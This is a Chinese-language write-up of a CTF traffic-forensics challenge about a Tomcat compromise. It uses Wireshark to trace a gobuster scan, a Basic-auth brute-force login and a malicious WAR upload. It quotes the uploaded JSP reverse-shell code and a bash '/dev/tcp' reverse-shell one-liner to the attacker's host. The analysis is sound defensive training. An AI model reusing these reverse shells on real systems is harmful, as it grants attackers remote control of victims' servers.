[玄机]流量特征分析-常见攻击事件 tomcat 题目做法及思路解析(个人分享)
Tomcat是一个开源的Java Servlet容器,它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行这些应用程序的Web服务器环境。Tomcat由Apache软件基金会的Jakarta项目开发,是最受欢迎的Java EE Web应用服务器之一。
问一、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}
题目思路:
根据标题命名得知分析的是tomcat流量包,老样子,我们可以直接查看http数据包进行分析。通过对统计数据的分析,我们可以得到http数据大致的访问信息,再通过查询语句过滤流量包得到成功访问的流量包
方法:
1、左键点击“统计”->“HTTP”->“分组计数器”查看分析HTTP流量数据
可以看到大部分都是GET请求的数据包,只有1个POST请求包(习惯性看了一下这个POST请求包,果然有收获,大致看一眼请求包内容盲猜上传了木马文件—文件里面有上传的文件,这个留着后面有用),先看一下GET请求的数据包
2.http.request.method==GET 查看GET请求的数据包
大致翻看了一下,流量里面一个就两个请求的地址10.0.0.115和14.0.0.120,而10.0.0.115又和受害主机一个地址段,很合理的理由怀疑14.0.0.120(当然,如果仔细翻看一下流量,可以看出应该是黑客使用工具对目录进行了扫描,实际情况中遇到了也可以向甲方确认一下地址)
flag{14.0.0.120}
问二、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}
题目思路:
一开始没好好读题,还以为出题者想要让我们通过流量包中的经纬度坐标来确定城市位置(wireshark安装第三方 GeoIP 数据库可以实现,有兴趣的大家可以实验一下),又看了看题目发现提示了通过IP查找,那就直接上工具了,分享两个网页工具:
站长之家:IP所在地批量查询 - 站长工具
IP属地查询:ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名
方法:
直接使用网页工具查询,得到了广州市
flag{guangzhou}
问三、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}
题目思路:
该题目中受害者主机只有一个端口开放了网页服务,所以还是可以直接通过GET请求包内容就可以查看了
方法:
http.request.method==GET 查看GET请求的数据包,随意一个请求包右键“追踪流”->“HTTP流”
可以看到请求的端口号是8080
flag{8080}
问四、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}
题目思路:
前面分析过,流量像是收到了目录扫描,应该使用的是目录扫描工具,这时候就可以看一下User-Agent,大多数没有魔改过的扫描器User-Agent都是带有特征的
方法:
http.request.method==GET 查看GET请求的数据包,依据是选一个请求包右键“追踪流”->“HTTP流”(但是需要注意选择源地址为14.0.0.120地址的)
可以看到使用的工具是gobuster(感觉这个现在用的比较少了,感兴趣的可以自行了解一下)
flag{gobuster}
问五、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}
题目思路:
原本是想直接搜索例如:“user”、“pass”这类的关键字的,但是搜索查看了好一阵没有什么结果,在查看username字段时发现了一个账号密码但是发现不是这个账号密码(这好像是个报错,其中tomcat-users.html文件中是存储tomcat账户密码的文件),翻找了一下报文,发现后面的请求包中多了一个Authorization字段,解码后分析得到争取的账号密码
Authorization
字段用于在客户端请求中包含访问令牌或认证凭据,以便服务器能够验证请求者的身份。当客户端需要访问受保护的资源时,服务器可能会首先发送一个401 Unauthorized
响应,要求客户端提供有效的认证信息。然后客户端会在随后的请求中包含Authorization
头,以获取对资源的访问权限。
方法:
1.http contains "username" 查看http协议中包含username的流量包
2.点击最后一个流量包(一般后面的都是成功访问的,从后往前找比较方便,也可以比较流量包的大小来查找),右键“追踪流”->“HTTP流”,向下翻找,也可直接搜索Authorization,同样翻找到最后,发现有成功回显200的响应包
3.复制Basic后面的值进行base64解密,得到账号密码
flag{admin-tomcat}
问六、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}
题目思路:
这时候就用到前面说的POST请求包了,记得前面说了应该是上传了一个文件,现在去搜索看一下
方法:
1. http.request.method == POST 查看POST请求的数据包
2.右键“追踪流”->“HTTP流”,可以查看到上传文件的文件名
flag{JXQOZY.war}
问七、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息
题目思路:
本来想着直接搜索一下上传的文件名,看一下干了什么操作,但是通过搜索并没有发现什么有用的信息,这时候就想着既然流量包里面有压缩文件的源码,不如直接下载下来,看看黑客到底上传了什么文件,后面拿到文件后也是成功找到了黑客入侵后执行的命令
方法:
1.左键“文件”->“导出对象”->“HTTP”,翻找一下,找到图中这三个文件就是有关于黑客上传木马的文件,把这个三个文件都都出来(因为前两个重名了,我就分别重命名为了111和222)
2.分别使用编辑器打开,发现最后一个是空的,那就不用看了,第二个一眼就看出来是html文件,可以将后缀改为html进行查看
打开后可以看到这个就是默认的界面,里面还存在着文件上传的接口
3.查看111文件,就是一个压缩包的源码,把多余的都删除掉,只留下源码部分再更改文件后缀为zip(本人电脑不支持解压war用zip替代一下,一样可以用)
4.这是我们就可以看到黑客上传的文件内容了,里面一共两个文件,主要的内容在rzpmxxmm.jsp当中,我们来解析一下代码
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {ShellPath = new String("/bin/sh");
} else {ShellPath = new String("cmd.exe");
}Socket socket = new Socket( "10.0.0.142", 80 );Process process = Runtime.getRuntime().exec( ShellPath );( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();} catch( Exception e ) {}
这行代码获取当前操作系统的名称,转换为小写,然后检查是否不包含子字符串"windows";如果不是Windows操作系统,则将变量
ShellPath
设置为"/bin/sh"
,这是Unix-like系统上的shell路径;如果操作系统是Windows,则将ShellPath
设置为"cmd.exe"
,这是Windows系统上的命令行解释器;创建一个新的Socket
对象,尝试连接到IP地址10.0.0.142
上的端口80
(HTTP默认端口)。
5.到这里我们已经得到了想要的信息了,黑客创建了一个Socket,端口使用的是80;我们使用命令进行搜索,ip.src == 10.0.0.112 && tcp.port == 80 过滤源地址为10.0.0.112和端口为80的流量包
6.右键“追踪流”->“HTTP流”,查看流量包内容,可以看到黑客执行的命令,根据题目提示我们了解到是进行权限维持的命令,而最后一条命令就是反弹一个新的shell
flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}
后续
此时就已经结束了,但是好奇心驱使下,还是查看了一下后面黑客执行的操作,使用命令:
ip.src == 10.0.0.112 && tcp.port == 443 过滤源地址为10.0.0.112和端口为443的流量包
我们通过回显的信息可以看到其实黑客在登录后就直接就使用exit命令退出了,并没有继续进行下一步操作
后续本人会陆续在公众号进行更新,希望大家点点关注!谢谢大佬们!